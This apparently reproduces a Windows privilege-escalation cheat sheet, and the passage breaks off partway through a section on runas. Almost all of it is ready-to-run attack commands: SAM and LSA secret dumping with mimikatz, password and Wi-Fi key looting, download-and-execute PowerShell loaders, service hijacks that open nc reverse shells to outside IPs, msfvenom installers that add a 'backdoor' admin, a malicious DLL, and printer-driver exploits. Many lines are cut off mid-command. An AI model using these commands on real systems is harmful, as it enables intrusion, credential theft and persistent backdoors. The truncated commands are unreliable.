Windows - Privilege Escalation

Summary

Tools
Windows Version and Configuration
User Enumeration
Network Enumeration
Antivirus Enumeration
Default Writeable Folders
EoP - Looting for passwords
SAM and SYSTEM files
HiveNightmare
LAPS Settings
Search for file contents
Search for a file with a certain filename
Search the registry for key names and passwords
Passwords in unattend.xml
Wifi passwords
Sticky Notes passwords
Passwords stored in services
Passwords stored in Key Manager
Powershell History
Powershell Transcript
Password in Alternate Data Stream
EoP - Processes Enumeration and Tasks
EoP - Incorrect permissions in services
EoP - Windows Subsystem for Linux (WSL)
EoP - Unquoted Service Paths
EoP - $PATH Interception
EoP - Named Pipes
EoP - Kernel Exploitation
EoP - AlwaysInstallElevated
EoP - Insecure GUI apps
EoP - Evaluating Vulnerable Drivers
EoP - Printers
Universal Printer
Bring Your Own Vulnerability
EoP - Runas
EoP - Abusing Shadow Copies
EoP - From local administrator to NT SYSTEM
EoP - Living Off The Land Binaries and Scripts
EoP - Impersonation Privileges
Restore A Service Account's Privileges
 Meterpreter getsystem and alternatives
RottenPotato (Token Impersonation)
Juicy Potato (Abusing the golden privileges)
Rogue Potato (Fake OXID Resolver))
EFSPotato (MS-EFSR EfsRpcOpenFileRaw))
EoP - Privileged File Write
DiagHub
UsoDLLLoader
WerTrigger
WerMgr
EoP - Common Vulnerabilities and Exposures
MS08-067 (NetAPI)
MS10-015 (KiTrap0D)
MS11-080 (adf.sys)
MS15-051 (Client Copy Image)
MS16-032
MS17-010 (Eternal Blue)
CVE-2019-1388
EoP - $PATH Interception
References

Tools
PowerSploit's PowerUp

powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadS

Watson - Watson is a (.NET 2.0 compliant) C# implementation of Sherlock

(Deprecated) Sherlock - PowerShell script to quickly find missing software patches for local
privilege escalation vulnerabilities

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File

BeRoot - Privilege Escalation Project - Windows / Linux / Mac

Windows-Exploit-Suggester

./windows-exploit-suggester.py --update
./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7
 windows-privesc-check - Standalone Executable to Check for Simple Privilege Escalation
Vectors on Windows Systems
WindowsExploits - Windows exploits, mostly precompiled. Not being updated.
WindowsEnum - A Powershell Privilege Escalation Enumeration Script.
Seatbelt - A C# project that performs a number of security oriented host-survey "safety
checks" relevant from both offensive and defensive security perspectives.

Seatbelt.exe -group=all -full

Seatbelt.exe -group=system -outputfile="C:\Temp\system.txt"
Seatbelt.exe -group=remote -computername=dc.theshire.local -computername=192.168

Powerless - Windows privilege escalation (enumeration) script designed with OSCP labs
(legacy Windows) in mind
JAWS - Just Another Windows (Enum) Script

powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAW

winPEAS - Windows Privilege Escalation Awesome Script

Windows Exploit Suggester - Next Generation (WES-NG)

# First obtain systeminfo

systeminfo
systeminfo > systeminfo.txt
# Then feed it to wesng
python3 wes.py --update-wes
python3 wes.py --update
python3 wes.py systeminfo.txt

PrivescCheck - Privilege Escalation Enumeration Script for Windows

C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"

C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Ex
C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Re

Windows Version and Configuration

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

Extract patchs and updates

 wmic qfe

Architecture

wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%

List all env variables

set
Get-ChildItem Env: | ft Key,Value

List all drives

wmic logicaldisk get caption || fsutil fsinfo drives

wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft N

User Enumeration
Get current username

echo %USERNAME% || whoami

$env:username

List user privilege

whoami /priv
whoami /groups

List all users

net user
whoami /all
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name

List logon requirements; useable for bruteforcing

 net accounts

Get details about a user (i.e. administrator, admin, current user)

net user administrator

net user admin
net user %USERNAME%

List all local groups

net localgroup
Get-LocalGroup | ft Name

Get details about a group (i.e. administrators)

net localgroup administrators

Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource

Get Domain Controllers

nltest /DCLIST:DomainName
nltest /DCNAME:DomainName
nltest /DSGETDC:DomainName

Network Enumeration

List all network interfaces, IP, and DNS.

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

List current routing table

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
List the ARP table

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

List all current connections

netstat -ano

List all network shares

net share
powershell Find-DomainShare -ComputerDomain domain.local

SNMP Configuration

reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s

Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

Antivirus Enumeration

Enumerate antivirus on a box with WMIC /Node:localhost

/Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName

Default Writeable Folders

C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\spool\printers
C:\Windows\System32\spool\servers
C:\Windows\tracing
C:\Windows\Temp
C:\Users\Public
C:\Windows\Tasks
C:\Windows\System32\tasks
C:\Windows\SysWOW64\tasks
C:\Windows\System32\tasks_migrated\microsoft\windows\pls\system
C:\Windows\SysWOW64\tasks\microsoft\windows\pls\system
C:\Windows\debug\wia
C:\Windows\registration\crmlog
 C:\Windows\System32\com\dmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\System32\fxstmp
C:\Windows\SysWOW64\fxstmp

EoP - Looting for passwords

SAM and SYSTEM files

The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The
user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM
hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on
HKLM/SAM.

# Usually %SYSTEMROOT% = C:\Windows

%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Generate a hash file for John using pwdump or samdump2 .

pwdump SYSTEM SAM > /root/sam.txt

samdump2 SYSTEM SAM -o sam.txt

Either crack it with john -format=NT /root/sam.txt , hashcat or use Pass-The-Hash.

HiveNightmare
CVE-2021–36934 allows you to retrieve all registry hives (SAM,SECURITY,SYSTEM) in
Windows 10 and 11 as a non-administrator user

Check for the vulnerability using icacls

C:\Windows\System32> icacls config\SAM

config\SAM BUILTIN\Administrators:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Users:(I)(RX) <-- this is wrong - regular users should not hav
Then exploit the CVE by requesting the shadowcopies on the filesystem and reading the hives
from it.

mimikatz> token::whoami /full

# List shadow copies available

mimikatz> misc::shadowcopies

# Extract account from SAM databases

mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windo

# Extract secrets from SECURITY

mimikatz> lsadump::secrets /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\W

LAPS Settings
Extract HKLM\Software\Policies\Microsoft Services\AdmPwd from Windows Registry.

LAPS Enabled: AdmPwdEnabled

LAPS Admin Account Name: AdminAccountName
LAPS Password Complexity: PasswordComplexity
LAPS Password Length: PasswordLength
LAPS Expiration Protection Enabled: PwdExpirationProtectionEnabled

Search for file contents

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt

findstr /si password *.xml *.ini *.txt *.config 2>nul >> results.txt
findstr /spin "password" *.*

Also search in remote places such as SMB Shares and SharePoint:

Search passwords in SharePoint: nheiniger/SnaffPoint (must be compiled first, for

referencing issue see: https://tinyurl.com/28xlvo33/pull/6)

# First, retrieve a token

## Method 1: using SnaffPoint binary
$token = (.\GetBearerToken.exe https://tinyurl.com/2akdbt52)
## Method 2: using AADInternals
Install-Module AADInternals -Scope CurrentUser
Import-Module AADInternals
$token = (Get-AADIntAccessToken -ClientId "9bc3ab49-b65d-410a-85ad-de819febfddc" -Te
 # Second, search on Sharepoint
## Method 1: using search strings in ./presets dir
.\SnaffPoint.exe -u "https://tinyurl.com/2akdbt52" -t $token
## Method 2: using search string in command line
### -l uses FQL search, see: https://tinyurl.com/2bjwhhsu
.\SnaffPoint.exe -u "https://tinyurl.com/2akdbt52" -t $token -l -q "filename:.config

Search passwords in SMB Shares: SnaffCon/Snaffler

Search for a file with a certain filename

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*

where /R C:\ user.txt
where /R C:\ *.ini

Search the registry for key names and passwords

REG QUERY HKLM /F "password" /t REG_SZ /S /K

REG QUERY HKCU /F "password" /t REG_SZ /S /K

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # Windows Aut

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | finds
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # SNMP parameters
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Putty clear text proxy creden
reg query "HKCU\Software\ORL\WinVNC3\Password" # VNC credentials
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password

reg query HKLM /f password /t REG_SZ /s

reg query HKCU /f password /t REG_SZ /s

Passwords in unattend.xml
Location of the unattend.xml files.

C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

Display the content of these files with dir /s *sysprep.inf *sysprep.xml *unattended.xml
*unattend.xml *unattend.txt 2>nul .

Example content

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" la

<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

Unattend credentials are stored in base64 and can be decoded manually with base64.

$ echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d

SecretSecurePassword1234*

The Metasploit module post/windows/gather/enum_unattend looks for these files.

IIS Web config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction Sile

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config

Other files

%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
 %WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
C:\ProgramData\Configs\*
C:\Program Files\Windows PowerShell\*
dir c:*vnc.ini /s /b
dir c:*ultravnc.ini /s /b

Wifi passwords
Find AP SSID

netsh wlan show profile

Get Cleartext Pass

netsh wlan show profile <SSID> key=clear

Oneliner method to extract wifi passwords from all the access point.

cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "

Sticky Notes passwords

The sticky notes app stores it's content in a sqlite db located at C:\Users\
<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalSt
ate\plum.sqlite

Passwords stored in services

Saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using
SessionGopher
 https://tinyurl.com/2cdzl9hw
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Passwords stored in Key Manager

:warning: This software will display its output in a GUI

rundll32 keymgr,KRShowKeyMgr

Powershell History
Disable Powershell history: Set-PSReadlineOption -HistorySaveStyle SaveNothing .

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHo
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\Consol
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

Powershell Transcript

C:\Users\<USERNAME>\Documents\PowerShell_transcript.<HOSTNAME>.<RANDOM>.<TIMESTAMP
C:\Transcripts\<DATE>\PowerShell_transcript.<HOSTNAME>.<RANDOM>.<TIMESTAMP>.txt

Password in Alternate Data Stream

PS > Get-Item -path flag.txt -Stream *

PS > Get-Content -path flag.txt -Stream Flag

EoP - Processes Enumeration and Tasks

What processes are running?

tasklist /v
net start
sc query
 Get-Service
Get-Process
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv

Which processes are running as "system"

tasklist /v /fi "username eq system"

Do you have powershell magic?

REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellV

List installed programs

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,Last

Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

List services

net start
wmic service list brief
tasklist /SVC

Enumerate scheduled tasks

schtasks /query /fo LIST 2>nul | findstr TaskName

schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,Tas

Startup tasks

wmic startup get caption,command

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"

EoP - Incorrect permissions in services

 A service running as Administrator/SYSTEM with incorrect file permissions might allow EoP.
You can replace the binary, restart the service and get system.

Often, services are pointing to writeable locations:

Orphaned installs, not installed anymore but still exist in startup

DLL Hijacking

# find missing DLL

- Find-PathDLLHijack PowerUp.ps1
- Process Monitor : check for "Name Not Found"

# compile a malicious dll

- For x64 compile with: "x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.
- For x86 compile with: "i686-w64-mingw32-gcc windows_dll.c -shared -o output.dl

# content of windows_dll.c
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
system("cmd.exe /k whoami > C:\\Windows\\Temp\\dll.txt");
ExitProcess(0);
}
return TRUE;
}

PATH directories with weak permissions

$ for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname

$ for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe

$ sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txt

FOR /F %i in (Servicenames.txt) DO echo %i
type Servicenames.txt
FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.tx

Alternatively you can use the Metasploit exploit :

exploit/windows/local/service_permissions

Note to check file permissions you can use cacls and icacls

icacls (Windows Vista +)

 cacls (Windows XP)

You are looking for BUILTIN\Users:(F) (Full access), BUILTIN\Users:(M) (Modify access) or
BUILTIN\Users:(W) (Write-only access) in the output.

Example with Windows 10 - CVE-2019-1322 UsoSvc

Prerequisite: Service account

PS C:\Windows\system32> sc.exe stop UsoSvc

PS C:\Windows\system32> sc.exe config usosvc binPath="C:\Windows\System32\spool\driv
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "C:\Users\mssql-svc\Desktop\nc
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "cmd /C C:\Users\nc.exe 10.10.
PS C:\Windows\system32> sc.exe qc usosvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: usosvc
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START (DELAYED)
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e c
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Update Orchestrator Service
DEPENDENCIES : rpcss
SERVICE_START_NAME : LocalSystem

PS C:\Windows\system32> sc.exe start UsoSvc

Example with Windows XP SP1 - upnphost

# NOTE: spaces are mandatory for this exploit to work !

sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe 10.11.0.73 4343 -e C:\WINDOWS
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
sc config upnphost depend= ""
net start upnphost

If it fails because of a missing dependency, try the following commands.

sc config SSDPSRV start=auto

net start SSDPSRV
net stop upnphost
net start upnphost
 sc config upnphost depend=""

Using accesschk from Sysinternals or accesschk-XP.exe - github.com/phackt

$ accesschk.exe -uwcqv "Authenticated Users" * /accepteula

RW SSDPSRV
SERVICE_ALL_ACCESS
RW upnphost
SERVICE_ALL_ACCESS

$ accesschk.exe -ucqv upnphost

upnphost
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
SERVICE_ALL_ACCESS
RW BUILTIN\Power Users
SERVICE_ALL_ACCESS

$ sc config <vuln-service> binpath="net user backdoor backdoor123 /add"

$ sc config <vuln-service> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\Syst
$ sc stop <vuln-service>
$ sc start <vuln-service>
$ sc config <vuln-service> binpath="net localgroup Administrators backdoor /add"
$ sc stop <vuln-service>
$ sc start <vuln-service>

EoP - Windows Subsystem for Linux (WSL)

Technique borrowed from Warlockobama's tweet

With root privileges Windows Subsystem for Linux (WSL) allows users to create a bind shell
on any port (no elevation needed). Don't know the root password? No problem just set the
default user to root W/ .exe --default-user root. Now start your bind shell or reverse.

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
Binary bash.exe can also be found in C:\Windows\WinSxS\amd64_microsoft-windows-
lxssbash_[...]\bash.exe

Alternatively you can explore the WSL filesystem in the folder

C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_7
9rhkp1fndgsc\LocalState\rootfs\

EoP - Unquoted Service Paths

The Microsoft Windows Unquoted Service Path Enumeration Vulnerability. All Windows services
have a Path to its executable. If that path is unquoted and contains whitespace or other
separators, then the service will attempt to access a resource in the parent path first.

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i

wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {

Metasploit exploit : exploit/windows/local/trusted_service_path

PowerUp exploit

# find the vulnerable application

C:\> powershell.exe -nop -exec bypass "IEX (New-Object Net.WebClient).DownloadSt

...
[*] Checking for unquoted service paths...
ServiceName : BBSvc
Path : C:\Program Files\Microsoft\Bing Bar\7.1\BBSvc.exe
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'BBSvc' -Path <HijackPath>
...

# automatic exploit
Invoke-ServiceAbuse -Name [SERVICE_NAME] -Command "..\..\Users\Public\nc.exe 10.

Example
For C:\Program Files\something\legit.exe , Windows will try the following paths first:

C:\Program.exe

C:\Program Files.exe
EoP - $PATH Interception

Requirements:

PATH contains a writeable folder with low privileges.

The writeable folder is before the folder that contains the legitimate binary.

EXAMPLE:

# List contents of the PATH environment variable

# EXAMPLE OUTPUT: C:\Program Files\nodejs\;C:\WINDOWS\system32
$env:Path

# See permissions of the target folder

# EXAMPLE OUTPUT: BUILTIN\Users: GR,GW
icacls.exe "C:\Program Files\nodejs\"

# Place our evil-file in that folder.

copy evil-file.exe "C:\Program Files\nodejs\cmd.exe"

Because (in this example) "C:\Program Files\nodejs" is before "C:\WINDOWS\system32" on the

PATH variable, the next time the user runs "cmd.exe", our evil version in the nodejs folder will
run, instead of the legitimate one in the system32 folder.

EoP - Named Pipes

1. Find named pipes: [System.IO.Directory]::GetFiles("\\.\pipe\")

2. Check named pipes DACL: pipesec.exe <named_pipe>
3. Reverse engineering software
4. Send data throught the named pipe : program.exe >\\.\pipe\StdOutPipe
2>\\.\pipe\StdErrPipe

EoP - Kernel Exploitation

List of exploits kernel : [https://tinyurl.com/24sucrsp)

#Security Bulletin #KB #Description #Operating System

MS17-017 [KB4013081] [GDI Palette Objects Local Privilege Escalation] (windows

7/8)
CVE-2017-8464 [LNK Remote Code Execution Vulnerability] (windows
 10/8.1/7/2016/2010/2008)
CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability] (windows
10/8.1/7/2016/2010/2008)
CVE-2018-0833 [SMBv3 Null Pointer Dereference Denial of Service] (Windows 8.1/Server
2012 R2)
CVE-2018-8120 [Win32k Elevation of Privilege Vulnerability] (Windows 7 SP1/2008
SP2,2008 R2 SP1)
MS17-010 [KB4013389] [Windows Kernel Mode Drivers] (windows
7/2008/2003/XP)
MS16-135 [KB3199135] [Windows Kernel Mode Drivers] (2016)
MS16-111 [KB3186973] [kernel api] (Windows 10 10586 (32/64)/8.1)
MS16-098 [KB3178466] [Kernel Driver] (Win 8.1)
MS16-075 [KB3164038] [Hot Potato] (2003/2008/7/8/2012)
MS16-034 [KB3143145] [Kernel Driver] (2008/7/8/10/2012)
MS16-032 [KB3143141] [Secondary Logon Handle] (2008/7/8/10/2012)
MS16-016 [KB3136041] [WebDAV] (2008/Vista/7)
MS16-014 [K3134228] [remote code execution] (2008/Vista/7)
...
MS03-026 [KB823980] [Buffer Overrun In RPC Interface] (/NT/2000/XP/2003)

To cross compile a program from Kali, use the following command.

Kali> i586-mingw32msvc-gcc -o adduser.exe useradd.c

EoP - AlwaysInstallElevated

Check if these registry values are set to "1".

$ reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEleva

$ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEleva

$ Get-ItemProperty HKLM\Software\Policies\Microsoft\Windows\Installer
$ Get-ItemProperty HKCU\Software\Policies\Microsoft\Windows\Installer

Then create an MSI package and install it.

$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi

 $ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi-nouac -o evil.ms
$ msiexec /quiet /qn /i C:\evil.msi

Technique also available in :

Metasploit : exploit/windows/local/always_install_elevated
PowerUp.ps1 : Get-RegistryAlwaysInstallElevated , Write-UserAddMSI

EoP - Insecure GUI apps

Application running as SYSTEM allowing an user to spawn a CMD, or browse directories.

Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on
"Click to open Command Prompt"

EoP - Evaluating Vulnerable Drivers

Look for vuln drivers loaded, we often don't spend enough time looking at this:

Living Off The Land Drivers is a curated list of Windows drivers used by adversaries to
bypass security controls and carry out attacks. The project helps security professionals stay
informed and mitigate potential threats.
Native binary: DriverQuery.exe

PS C:\Users\Swissky> driverquery.exe /fo table /si

Module Name Display Name Driver Type Link Date
============ ====================== ============= ======================
1394ohci 1394 OHCI Compliant Ho Kernel 12/10/2006 4:44:38 PM
3ware 3ware Kernel 5/18/2015 6:28:03 PM
ACPI Microsoft ACPI Driver Kernel 12/9/1975 6:17:08 AM
AcpiDev ACPI Devices driver Kernel 12/7/1993 6:22:19 AM
acpiex Microsoft ACPIEx Drive Kernel 3/1/2087 8:53:50 AM
acpipagr ACPI Processor Aggrega Kernel 1/24/2081 8:36:36 AM
AcpiPmi ACPI Power Meter Drive Kernel 11/19/2006 9:20:15 PM
acpitime ACPI Wake Alarm Driver Kernel 2/9/1974 7:10:30 AM
ADP80XX ADP80XX Kernel 4/9/2015 4:49:48 PM
<SNIP>

matterpreter/OffensiveCSharp/DriverQuery

PS C:\Users\Swissky> DriverQuery.exe --no-msft

[+] Enumerating driver services...
[+] Checking file signatures...
Citrix USB Filter Driver
 Service Name: ctxusbm
Path: C:\Windows\system32\DRIVERS\ctxusbm.sys
Version: 14.11.0.138
Creation Time (UTC): 17/05/2018 01:20:50
Cert Issuer: CN=Symantec Class 3 SHA256 Code Signing CA, OU=Symantec Trust N
Signer: CN="Citrix Systems, Inc.", OU=XenApp(ClientSHA256), O="Citrix System
<SNIP>

EoP - Printers

Universal Printer
Create a Printer

$printerName = 'Universal Priv Printer'

$system32 = $env:systemroot + '\system32'
$drivers = $system32 + '\spool\drivers'
$RegStartPrinter = 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Curre

Copy-Item -Force -Path ($system32 + '\mscms.dll') -Destination ($system3

Copy-Item -Force -Path '.\mimikatz_trunk\x64\mimispool.dll' -Destination ($drivers
Copy-Item -Force -Path '.\mimikatz_trunk\win32\mimispool.dll' -Destination ($drivers

Add-PrinterDriver -Name 'Generic / Text Only'

Add-Printer -DriverName 'Generic / Text Only' -Name $printerName -PortName

New-Item -Path ($RegStartPrinter + '\CopyFiles') | Out-Null

New-Item -Path ($RegStartPrinter + '\CopyFiles\Kiwi') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Directory' -P
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Files' -P
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Module' -P
New-Item -Path ($RegStartPrinter + '\CopyFiles\Litchi') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Directory' -P
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Files' -P
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Module' -P
New-Item -Path ($RegStartPrinter + '\CopyFiles\Mango') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Directory' -P
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Files' -P
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Module' -P

Execute the driver

$serverName = 'dc.purple.lab'
$printerName = 'Universal Priv Printer'
 $fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.E
Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
Add-Printer -ConnectionName $fullprinterName

PrinterNightmare

git clone https://tinyurl.com/24mzrkcj

PS C:\adversary> FakePrinter.exe 32mimispool.dll 64mimispool.dll EasySystemShell
[<3] @Flangvik - TrustedSec
[+] Copying C:\Windows\system32\mscms.dll to C:\Windows\system32\6cfbaf26f4c64131896
[+] Copying 64mimispool.dll to C:\Windows\system32\spool\drivers\x64\3\6cfbaf26f4c64
[+] Copying 32mimispool.dll to C:\Windows\system32\spool\drivers\W32X86\3\6cfbaf26f4
[+] Adding printer driver => Generic / Text Only!
[+] Adding printer => EasySystemShell!
[+] Setting 64-bit Registry key
[+] Setting 32-bit Registry key
[+] Setting '*' Registry key

PS C:\target> $serverName = 'printer-installed-host'

PS C:\target> $printerName = 'EasySystemShell'
PS C:\target> $fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $
PS C:\target> Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
PS C:\target> Add-Printer -ConnectionName $fullprinterName

Bring Your Own Vulnerability

Concealed Position : https://tinyurl.com/2bvl5yz3

ACIDDAMAGE - CVE-2021-35449 - Lexmark Universal Print Driver LPE

RADIANTDAMAGE - CVE-2021-38085 - Canon TR150 Print Driver LPE
POISONDAMAGE - CVE-2019-19363 - Ricoh PCL6 Print Driver LPE
SLASHINGDAMAGE - CVE-2020-1300 - Windows Print Spooler LPE

cp_server.exe -e ACIDDAMAGE
# Get-Printer
# Set the "Advanced Sharing Settings" -> "Turn off password protected sharing"
cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
cp_client.exe -l -e ACIDDAMAGE

EoP - Runas
Use the cmdkey to list the stored credentials on the machine.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Then you can use runas with the /savecred options in order to use the saved credentials.
The following example is calling a remote binary via an SMB share.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

runas /savecred /user:Administrator "cmd.exe /k whoami"

Using runas with a provided set of credential.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\

$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force

$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpassw
$computer = "<hostname>"
